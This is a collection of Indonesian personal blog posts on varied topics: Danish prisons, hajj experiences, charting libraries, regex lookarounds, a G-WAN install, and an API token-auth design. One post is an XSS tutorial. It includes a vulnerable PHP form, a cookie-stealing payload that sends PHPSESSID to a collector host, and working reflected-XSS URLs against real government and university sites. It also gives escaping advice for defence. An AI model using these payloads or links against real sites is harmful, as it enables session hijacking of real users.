Københavns Fængsler

Penjara, apa kira-kira yang ada dalam benak anda ketika mendengar kata penjara ? 4×4 ? jeruji besi ? kekerasan ? penyiksaan ? Mungkin iya dan benar, karena itu yang kita lihat di Tv selama ini, dan tidak jauh berbeda, bahkan lebih parah pada kenyataannya. Terlepas dari jenis keselahan yang dilakukan oleh si pelaku yang dipenjara, tapi kembali lagi dan tidak lupa bahwa dia pada dasarnya dalah Manusia. Manusia memiliki hak, bahkan jika iya bersalah, iya tetap memiliki haknya. Contohnya pada hukuman mati, orang tersebut memiliki hak untuk meminta permintaan terakhir, dan merupakan sebuah kewajiban negara/pengadilan/polisi untuk mengabulkan permintaan tersangka tersebut.

Ketika berbicara hak dan kewajiban, mari kita lihat apa yang sudah dilakukan oleh Penjara di Kopenhagen, Denmark. Anda mungkin tidak akan percaya bahwa penjara disana memiliki fasilitas Gym, Playstation, Minimarket, Rumah sakit, Musium, Perpustakaan, Gereja, workshop,  internet, tv cable, dll.

Bicara soal minimarket, barang-barang yang dijual sangatlah bervariasi, mulai dari daging, ice cream, bahkan shampo aroma kiwi dan orange. Untuk daging yang dijual terdapat daging bersertifikasi Halal. Jika dilihat dari ketersediaan daging halal ini, berarti tidaklah terdapat pembedaan agama, suku, atau ras bagi para narapidana, dan semuanya sama.

Ter-dapat kulkas, meja dan tempat tidur yang nyaman pada setiap sel. Fasilitas ini bukanlah untuk pejabat, tapi untuk semua penghuni penjara, dari mulai pencuri kelas rendah, hingga pemerkosa atau pedagang narkoba sekalipun. Semua narapidana memiliki sel-nya masing-masing dan tidak dicampur, serta mereka memiliki kunci kamarnya masing-masing.

Tadi saya sempat menyinggung soal mini market, mungkin anda akan bertanya, uang darimana ?. Para narapidana diwajibkan untuk bekerja di workshop dan dibayar sekitar 9 kroner($USD 1.56) per jam, saya ulangi sekali lagi per-jam. perlu diketahui bahwa workshop ini bukan seperti di negara-negara lain, dimana pekerjaan tersebut adalah memecahkan batu, atau membangun rel kereta api, tapi disesuaikan dengan kemampuan narapidana tersebut, misalnya berkebun atau kerajinan, dsb.

Soal makanan, para narapidana lah yang memasak sendiri sesuai selera mereka, bahan makanannya ya dibeli sendiri juga di mini market yang tersedia. dan jika terdapat sesuatu yang tidak terdapat di mini market tersebut, maka narapidana boleh mengusulkan agar barang tersebut dijual di mini market tersebut.

Mengenai hubungan narapidana dengan para polisi penjaga penjara tidak bisa anda bayangkan, mereka sudah seperti keluarga, tidak ada pemisah antara penjaga dengan narapidana dan bahkan sebagian memanggil salah satu penjaga perpustakaan dengan sebutan Mom(Ibu).

Jika anda masuk sebagai narapidana disana, anda akan mendapatkan sebuah buku mengenai hak-hak selama berada di penjara. dalam buku tersebut, terdapat point yang menjelaskan jika ada penjaga yang tidak bersikap baik terhadap narapidana, maka merupakan haknya untuk melaporkan kepada kepala penjara, dan biasanya penjaga tersebut langsung dipindahkan. Dan jika dalam dua minggu tidak terjadi perubahan, maka narapida tersebut boleh menuntut ke pengadilan.

Selain itu, keluarga narapidana yang berada di luar penjara, diberikan uang bulanan untuk kehidupan sehari-hari oleh pemerintah. Anda bisa bayangkan di Indonesia, jika sang ayah mencuri uang demi keluarganya, lalu di penjara, maka matilah keluarga itu karena tidak ada yang memberikan mereka uang. Tapi hal ini sangat berbeda di Kopenhagen, Keluarga narapidana mendapatkan gaji bulanan, sehingga keluarga yang ditinggalkan, tetap bisa hidup berkecukupan.

Pada tahun 2009, terdapat 3530 orang narapidana, dan hanya 20% persen saja yang setelah bebas kembali melakukan kasus hingga harus dipenjara kembali.

Saya sendiri bingung harus menjelaskan apa lagi, mungkin anda bisa langsung saja melihat foto-foto dibawah ini sebagai bukti :

besøgsbygning sabler kirkeskib celle-blf gaardhave til besoegsrum butik - blf dsc_0024 vh undersøgelse tandklinik_1 trapper_i_fløjen biblioteket besøgsrum_3 kirken besøgslokale butik motionscenter madvogn bes_11 bes_4 pf indendørs værksted_

Ultimate Javascript Charting and Graphic Library List

Charting

Saya menghabiskan waktu yang cukup lama untuk menentukan Charting Library apa yang harus saya pakai pada project kali ini. Karena dalam menentukan sesuatu yang ingin kita pakai(dalam kasus kali ini yang dimaksud adalah Chart Library dan bukan yang lain) tentunya tidaklah mudah karena setiap orang memiliki selera yang berbeda-beda, serta kemampuan yang berbeda juga. Kemampuan yang saya maksud adalah Skill, Uang dan Waktu. Contohnya saja jika project yang sedang dikerjakan memiliki budget yang besar, maka saya tidak ambil pusing karena saya bisa membeli lisensi charting yang bagus(HighChart contohnya). Namun berbeda ketika budget yang dimiliki tidak banyak, maka kita harus mencari alternatif yang Free.

Posting kali ini bukan bertujuan untuk membahas Uang, atau bahkan tutorial membuat charting, tapi lebih kepada list charting yang bisa anda pilih. Baiklah langsung saja saya list semua Charting dan graphic library yang sudah saya temukan dan kumpulkan link-nya,

Silahkan pilih sesuai selera, kebutuhan dan budget anda. Namun perlu diingat bahwa kompabilitas sangatlah penting, pastikan Chart atau graphic library yang anda pilih bisa berjalan mulus dan bagus pada IE 6!

Tolong jika ada yang terlewatkan, beritahu saya lewat kolom komentar dibawah.

Pengalaman menjadi Atheis saat beribadah Haji

Singkat cerita kemarin saya hampir saja menjadi Atheis. Iya Atheis ! Anda tidak usah heran jika saya hampir menjadi atheis. Jika orang lain mendapatkan hidayah, saya justru sebaliknya. Dan tahukah anda dimana saya berada waktu itu ? Mina, Makkah. Ya, waktu itu saya sedang melaksanakan ibadah Haji. Hal yang membuat saya hampir gila waktu itu, kenapa sekarang, kenapa saat ini, kenapa jauh-jauh saya datang ke tempat ini justru untuk menjadi orang yang tidak mempercayai tuhan ? Inikah hidayah ?

Setan memang hebat dan pintar, tapi saya lebih hebat lagi dari setan !. Jika anda bertanya, apa yang membuat saya hampir tidak mempercayai keberadaan tuhan ?. Jawabannya adalah sebuah “pertanyaan”. Ada sebuah pertanyaan yang tidak bisa saya jawab saat itu. Dan saya percaya anda pun tidak bisa menjawabnya, oleh karena itu lebih baik tidak perlu saya tulis disini.

Dua hari saya menderita dan hampir gila. lebih gila lagi ketika saya bertemu dengan orang-orang hebat dari seluruh dunia. Orang-orang mulia yang mustahil saya bisa bertemu mereka, tapi ketika saya bisa bertemu langsung dengan mereka, justru saya meragukan keberadaan tuhan. Salah satu-nya adalah Yusuf ‘Abdullah al-Qaradawi. *Anda bukan muslim kalau tidak tahu siapa beliau tapi tahu siapa Ariel.

Saya mendapatkan kesempatan untuk bisa solat berjamaah disatu ruangan bersama Syeik Yusuf Al-Qaradawi,  Dan tentunya bisa bicara langsung untuk meminta jawaban atas pertanyaan saya. Namun sayangnya setiap kali saya bertemu orang-orang besar disana, selalu saja ada hal yang menghalangi, sehingga lengkap sudah penderitaan saya atas pertanyaan yang tidak saya ketahui jawabannya saat itu.

Anda mungkin bertanya bagaimana mungkin saya bisa bersama orang-orang sekelas Yusuf Al-Qaradawi ?. Singkat cerita 1 minggu sebelum ibadah haji dimulai saya mendapatkan undangan dari Muslim World League untuk melaksanakan ibadah haji. dan ternyata undangan ini untuk orang-orang beruntung dari seluruh dunia dan dijamu disana di satu tempat khusus tamu MWL, mungkin totalnya 160 orang dari seluruh dunia, dan hampir seluruh Top Islamic scholar(Ulama) ada disana setiap waktu.

Ditengah gejolak hati, fikiran, dan kegilaan ini, saya memutuskan menyendiri di kamar setelah letih dua hari mencari jawaban dengan orang-orang mulia ini tapi justru tidak mendapatkan kesempatan, padahal saya berada disatu tempat dengan mereka. Dalam kesendirian ini saya mulai berfikir, kenapa saya harus bertanya kepada orang ? Jika Nabi Ibrahim saja bisa mengetahui siapa Tuhan hanya dengan berfikir saja dan menggunakan otaknya, kenapa saya tidak bisa ?.

Dan ternyata benar, saya mendapatkan jawaban atas pertanyaan saya tanpa bertanya kepada orang, dan cukup menggunakan otak dan berfikir. Siapakah tuhan yang sebenarnya ? Apakah tuhan itu ada ? Dan semua itu terjawab.

Mungkin memang ada hikmahnya saya tidak mendapatkan kesempatan untuk bertanya, karena Tuhan yang sesungguhnya(Allah SWT), ingin saya bisa mengetahuinya sendiri. Inilah hidayah !.

Sekarang Iman saya sangatlah kuat, tidak tergoyahkan lagi oleh pertanyaan-pertanyaan sesat. Akal fikiran kita yang sederhana ini bisa mengantarkan kita kepada hakikat yang sebenarnya jika anda gunakan dengan benar dan ikhlas. Bayangkan jika ditambah dengan kekuatan ilmu, maka Iman pun akan semakin kuat.

Terima kasih Allah, engkau sudah memanggil hambamu ini yang penuh dosa untuk melaksakan ibadah Haji tanpa mengeluarkan uang sepeserpun.

Terima kasih Allah, engkau sudah mengizinkan hambamu ini yang penuh dosa untuk bisa melaksakan ibadah Haji bersama orang-orang mulia yang selama ini hanya bisa saya lihat di TV dan Internet saja.

Terima kasih Allah, engkau sudah memberiku akal fikiran agar bisa menyadari keberadaanmu. Engkau ada, Engkau Satu, Engkau maha segalanya.

Jika hambamu ini berbuat dosa, maka itu berjuta-juta kali lebih baik dibanding tidak mempercai keberadaanmu ya Allah. Terima kasih ya Allah

Mengenal lebih dalam XSS (Cross Site Scripting)

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. :D Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam

G-WAN Installation on Debian

Akhirnya setelah sekian lama saya menanti G-WAN untuk bisa mensuport PHP, dan sekarang sudah bisa(official). Menurut claim gwan, gwan sangatlah cepat dan ringan serta mengalahkan nginx dan varnish cache. Inilah yang membuat saya tertarik. Berhubung ada waktu luang, saya mencoba untuk menginstall G-WAN pada Debian(VM-Ware), dan cukup mudah ternyata.

Jangan lupa sebelum memulai, silahkan berdoa terlebih dahulu

  1. Install Debian terbaru.
    *Tutorial ini tidak mengikutsertakan cara menginstall Debian, silahkan anda cari sendiri di Google.
  2. Download gwan dari http://gwan.com/download.
    *Gunakan selalu 64bit jika OS yang anda gunakan adalah versi 64bit.
  3. Seteleh di download, silahkan extract di sebuah folder.
    *Jika anda menggunakan terminal/console, silahkan ketik lalu enter command berikut :

    su root
    wget http://gwan.com/archives/gwan_linux64-bit.tar.bz2
    tar -xjf gwan_linux64-bit.tar.bz2; cd gwan_linux64-bit

  4. Jika sudah, silahkan run saja dengan menjalankan file ‘gwan’

    ./gwan

  5. Jika anda menemukan error pada ‘kv_bench.c’, ini dikarenakan sqlite3 tidak terinstall atau tidak terinstall dengan baik. Jadi pastikan anda sudah menginstall sqlite3, namun jika ternyata sudah diinstall namun masih terdapat error, berarti anda harus menjalankan command berikut

    ln /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so

  6. Silahkan jalankan kembali gwan

Perlu diingat bahwa document root berada pada folder ’0.0.0.0_8080′

gwan localhost

Next post saya akan membahas lebih lanjut g-wan

Maaf jika tutorial ini tidak lengkap dan terkesan asal-asalan :D

REST extension/addons untuk Chrome dan Firefox

Jika anda sedang bermain-main dengan REST API, pasti anda membutuhkan sebuah applikasi untuk  mencobanya. Saya sangat menyarankan untuk menggunakan extension/addons pada browser karena akan memudahkan anda untuk mengintip dokumentasi API tersebut, yang biasanya juga diakses menggunakan browser. Saya sudah mencoba berbagai extension/addons pada browser untuk tujuan REST API Testing, dan menemukan banyak bugs pada beberapa extension/addons. Sehingga saya ingin berbaik hati untuk sharing REST API extension/addons yang well tested.

 

Chrome

Rest Console

Rest Console

 

Firefox

REST Client

Rest Client

 

Dua itu yang sudah saya test dan cukup baik dan stabil, yang lain banyak bugs dan tidak stabil.

Btw jika anda terbiasa dengan console, silahkan gunakan cURL

 

Happy Exploring :)

Arafah dan Samsung Galaxy S 3 serta Laptop core i5

Alhamdulillah kemarin saya bisa menunaikan ibadah Haji secara Gratis. Sebagai rasa syukur, saya memberitahukan keberangkatan saya kesejumlah sahabat agar mereka mendoakan saya serta menitipkan doa, untuk saya bacakan di Padang Arafah, karena pada hari itu, semua doa pasti dikabulkan. Banyak yang bisa saya ceritakan, namun pada posting kali ini saya kan fokus menceritakan mengenai titipan doa.

Titipan doa yang saya bawa kesana totalnya 7 lembar dari beberapa orang, singkat cerita pada hari yang dinanti itu, sebelum saya berdoa untuk diri saya, saya sengaja membuka kertas dan mulai berdoa sesuai titipan yang ada. Dari keseluruhan doa, hanya ada dua orang yang doanya tidak lazim.

Doa aneh pertama dari sahabat saya adalah agar dia bisa menjadi Kaji(Pembuat Pedang ala Jepang). Saya sangat menghargai doa yang satu ini, karena setiap orang mempunyai impian dan cita-citanya masing-masing. Selain itu saya menemukan keterangan pada kertas tersebut bahwa alasan ia ingin menjadi Kaji adalah karena ia sangat percaya bahwa pada akhir zaman nanti, peperangan akan kembali menggunakan pedang. 100% saya sangat menghormati doa ini dan tidak menganggapnya aneh setelah mengetahui alasannya.

Doa paling aneh selanjutnya adalah doa dari teman berupa 3 point, yaitu :

  • Samsung Galaxy S 3
  • Laptop core i5
  • Rezeki tidak terduga

Sungguh saya tertawa dibuatnya, cukup singkat, tepat dan padat titipan doanya, dan tanpa basa basi. Dalam fikiran saya, ini doa paling tidak mainstream menurut saya, karena biasanya orang berdoa untuk kesehatan, jodoh, karir dan lain sebagainya, tapi ini sungguh berbeda.

Singkat cerita sepulang ibadah haji, kurang lebih 2 minggu, saya mendapatkan inbox berupa ucapan terima kasih karena sudah di doakan. Lalu saya bertanya kenapa. Ternyata semua doanya terkabul, Samsung Galaxy S3, Laptop core i5 dan Rezeki tidak terduga telah terkabul dalam kurun waktu kurang dari 1 minggu dan sekaligus semuanya!.

Saya kehabisan kata-kata untuk mengomentarinya, terdengar aneh tapi Sesuai janji Allah, tidak ada doa yang tidak terkabul, terutama di tempat-tempat tertentu, seperti Padang Arafah, Maqam Ibrahim, Raudah, dll. Andaikan teman saya itu berdoa yang lebih banyak dan lebih besar, pasti sudah terkabul juga.

Pelajaran yang bisa kita petik dari kisah ini adalah, jangan menyepelekan kekuatan doa dan tempat, serta janji yang Allah berikan. Tidak ada doa yang tidak terkabul

**UPDATE**

Sebagai bukti saya printscreen inbox dari teman saya ini, beserta foto Samsung Galaxy S

chat samsung galaxy s3

Pada chat mungkin bisa kita lihat bahwa teman saya ini memutuskan untuk membeli handphone yang lebih murah, dan benar dia membeli handphone yang lebih murah untuk menghemat uangnya, tapi sekali doa terucap maka tidak bisa digantikan begitu saja. Setelah membeli handphone yang lebih murah, teman saya ini mampu membeli (lagi) Handphone, yaitu Samsung Galaxy S3. Sekarang ada dua handphone dan Laptop core i5 :D

Pak Hasan dengan Istrinya yang Sakit Jiwa

Dua minggu sekali Pak hasan biasanya selalu datang kerumah membawa beberapa Ayam Kampung hidup untuk di potong dirumah saya.

Pak hasan tinggal di depok, dia berumur 75 tahun dengan kesehatan yang MasyaAllah semoga diberikan panjang umur dan berkah atas umur dan kesehatannya, hal ini terbukti dengan kendaraan yang ia gunakan dari depok ke rumah saya yang berada di salemba, yaitu Sepeda.

Iya betul, pak hasan dengan sepeda-nya serta keranjang ayamnya yang diikat dibelakang sepedanya, datang dari depok. Bayangkan saja seumuran pak hasan ini jauh-jauh berangkat dari depok mengayuhkan sepeda untuk menjual ayam, tidak perduli hujan atau panas.

Tentunya dia sudah punya anak dan cucu. Lalu apa alasan pak hasan masih bekerja dengan menjual ayam kampung kerumah rumah ? bukan karena anak-anaknya yang sudah berkeluarga pastinya, tapi karena Pak hasan mempunyai istri yang terkena gangguan jiwa, sebab cintanya ini dia tetap merawat istrinya, dan membutuhkan uang. ketika ditanya kenapa tidak menaruh saja istrinya dirumah sakit jiwa, dia menjawab bahwa dia yakin bahwa dia masih sanggup merawat istrinya.

Hari ini saya lebih terharu ketika ibu saya bertanya mengenai kabar istrinya, berikut ucapan pak hasan yang tidak saya ubah karena baru berselang 15 menit yang lalu. “Ya gitu deh madam, masih belum berubah sakit jiwanya. Abis gimana yah, saya suka sedih kalau ke acara nikahan, gak sama istri saya gak enak madam, biasanya kita berdua, sekarang saya sendiri, gak enak madam”.

Mendengar jawaban tulusnya, saya terdiam dan sangat terharu, ternyata masih ada kesetian hari ini. Walaupun istrinya sakit jiwa, tapi cintanya tidak berubah. Sungguh berbeda dengan para muda mudi jaman ini, dimana kesetiaan sudah susah untuk ditemukan.

Karena kesetian perlu pembuktian dan pengorbanan, bukan hanya sekedar kata-kata manis.

Regex lookbehind and negative lookahead

Lookbehind dan lookahead mungkin bukan kata yang asing, artinya mudah dimengerti, lihat kebelakang dan lihat kedepan :D . Tapi dalam regex(REGular EXpression), lookbehind dan lookahead digunakan untuk mencocokkan suatu pola sebelum atau sesudah ekspresi utama diberikan. Sekali lagi perlu diingat, regex bukanlah simbol aneh seperti hieroglyph, jadi kalau anda ingin belajar atau memperdalam Regex, maka hapuslah anggapan ‘regex susah’ dari otak anda sebelum anda memulainya.

Lookbehind dan lookahead mempunyai nilai positif dan negatif.

Positive Lookbehind(?<=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘ahmad’ maka pola ini cocok.

Negative lookbehind(?<!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

Positive Lookahead(?=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sesudah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini cocok.

Negative Lookahead(?!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan setelah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

 

Nah saya akan beri contoh super mudah dalam Sintax Regex yang sesungguhnya.

Saya mempunyai Text seperti berikut :

Ahmad
Fathi
Hadi
Ahmad Fathi
Fathi Hadi
Ahmad Fathi Hadi

Jika saya ingin mencari kata ‘Fathi’ maka sintax Regexnya sangat simple, yaitu ‘Fathi’.

Lalu bagaimana jika saya ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ ? Untuk melakukannya, kita membutuhkan sintax lookbehind(positive) yaitu ‘(?<=Ahmad )Fathi’, maka baris 4 dan 6 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sebelumnya tidak ada kata ‘Ahmad’ maka kita membutuhkan sintax lookbehind(negative), yaitu ‘(?<!Ahmad )Fathi’, maka baris 2 dan 5 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya ada kata ‘Hadi’, maka kita akan menggunakan lookahead(positive), yaitu ‘Fathi(?= Hadi)’, maka baris 5 dan 6 yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya tidak ada kata ‘Hadi’, maka kita akan menggunakan lookahead(negative), yaitu ‘Fathi(?! Hadi)’, maka baris 2 dan 4 yang cocok.

Selanjutnya anda juga bisa menggabungkan lookbehind dan lookahead, misalnya anda ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ dan sesudahnya terdapat kata ‘Hadi’. Sintaxnya adalah berikut ‘(?<=Ahmad )Fathi(?= Hadi)’, yang cocok adalah baris 6 karena lengkap.

 

Saya akan berikan contoh penerapan lookbehind dan lookahead pada aplikasi yang ingin mencari twitter username, polanya adalah @username. namun kita harus menggunakan bantuan lookbehind dan lookahead agar pola email tidak tertangkap(ahmad@fathihadi.net).

Saya sudah test untuk twitter @username berikut sintax regexnya(saya tidak mengcopy-nya dari manapun, melainkan murni berfikir dan mencobanya, dan mungkin polanya bisa salah untuk beberapa kemungkinan)

(?<=\s)@\w+(?!\S)

 

Semoga bermanfaat :)

* Jika anda tidak faham berarti saya yang tidak pintar dalam menulis, bukan karena anda yang kurang pintar.

* Tools untuk mencobanya secara online adalah link ini http://gskinner.com/RegExr/

Flat Token Authentication

Latar belakang

Saat ini saya tengah mengembangkan sebuah API(REST API) untuk moderasi konten digital seperti pada website, forum, dan sebagainya. Namun saya sadar bahwa keamanan(security) adalah hal yang amat penting dan krusial bagi semua pihak.

Akhirnya saya mulai mempelajari mekanisme security yang ada dan sudah umum di gunakan untuk API, hinggal akhirnya saya menemukan OAuth 1 dan OAuth 2. Pada saat ini OAuth 2 masih berupa draft dan belum resmi, namun kita bisa mempelajari konsepnya. Setelah membandingkan dan mencoba sendiri security OAuth 2, ternyata menurut saya tidak aman karena token bisa digunakan dimanapun dan berkali-kali. Kelebihan OAuth 2 adalah tidak begitu kompleks dan rumit seperti OAuth 1, namun seperti yang sudah saya jelaskan sebelumnya bahwa OAuth 2 masih berupa draft dan tidak aman(saya sudah membuktikannya). Anda bisa membaca link ini sebagai bahan bacaan dan pertimbangan tambahan http://hueniverse.com/2012/07/oauth-2-0-and-the-road-to-hell/

Sedangkan untuk OAuth 1, saya sudah mencoba dan memang cukup secure secara konsep dan implementasinya dan juga sudah dipakai oleh industry selama ini. Namun perlu diingat bahwa OAuth 1 dan OAuth 2 pada awalnya dirancang untuk konsep 3 Legged connection. Sehingga token akan menjadi sia-sia jika anda menggunakan konsep 2 legged. Bukan berarti OAuth 1 tidak mensuport 2 legged connection, namun hal ini akan sangat over kill. Jika anda menggunakan OAuth 1, pasti anda akan merasakan betapa kompleksnya aturan-aturan yang ada. Saya juga sudah mencoba beberapa OAuth library(official), dan saya cukup kaget ketika menemukan bugs yang hampir ada di semua library yang saya coba, yaitu bugs untuk Array of Array, dimana jika ditemukan variable seperti(Array of Array) ini maka pasti tidak akan masuk kedalam base string yang akan di generate sebagai signature. Ini merupakan bug yang sangat fatal. Saya heran kenapa bug ini tidak ada yang sadar dan membenarkannya dari awal OAuth ada(2008). Anda bisa lihat http://code.google.com/p/oauth-php/issues/detail?id=131

Namun sejauh ini memang OAuth 1 masih menjadi yang terbaik dan terbukti secara industry, aman dari banyak jenis serangan dan security issue, serta bisa digunakan pada HTTP(tidak membutuhkan SSL). Perlu anda ketahui saya menghabiskan waktu hampir 5 hari untuk mengerti konsep OAuth, dikarenakan saya mempelajari dari semua sudut, seperti konsep, security, Code dan implementasinya.

Saya merasa OAuth sangat terlalu kompleks untuk 2 legged connection dan mungkin ada solusi yang lebih mudah dan secure. Oleh karena itu saya menghabiskan waktu 2 hari untuk memikirkan alternative dan cara yang paling cocok untuk mekanisme 2 legged.

Masalah

OAuth 1 sangat kompleks untuk mekanisme 2 legged

Tujuan Penulisan

Karena melihat permasalahan yang ada, maka saya merancang konsep Flat Token Authentication dengan harapan tidak kompleks namun secure.

Pembatasan Masalah

Kali ini masalah akan dibatasi seputar konsep, keamanan dan kelayakan pada metode Flat Token Authentication. Serta konsep akan dibatasi hanya untuk 2 legged connection. Namun tidak menutup kemungkinan konsep ini bisa digunakan pada 3 legged atau n legged connection.

Catatan Awal

Sekali lagi saya ingin menyatakan bahwa tujuan saya adalah mencari alternative, dan meminta bantuan public untuk menilai dan memberikan masukan untuk solusi yang saya rancang, apakah layak atau tidak.

2 Legged Connection

2 legged

Spec

  1. API Server must use SSL
  2. Public Key and Private Key
  3. One Way Hash using SHA512
  4. Token Signature using HMAC(SHA512 and Private Key)
  5. One Time Token Expire

Untuk memangkas kompleksitas pada OAuth 1, serta memberikan level security maka API Server harus menggunakan SSL.

Konsep Flat Token Authentication membagi akses client terharap server menjadi dua bagian.

1. Client mengirimkan data atau action/perintah terhadap server (Contoh : client memberikan perintah untuk menghapus salah satu data user.)

2. Client meminta data dari server (Contoh : Client meminta data semua usernya.)

Karena menggunakan SSL, maka bisa dijamin koneksi dari Client ke Server tidak bisa di spoof. Namun tidak sebaliknya jika Server yang memulai koneksi ke client.

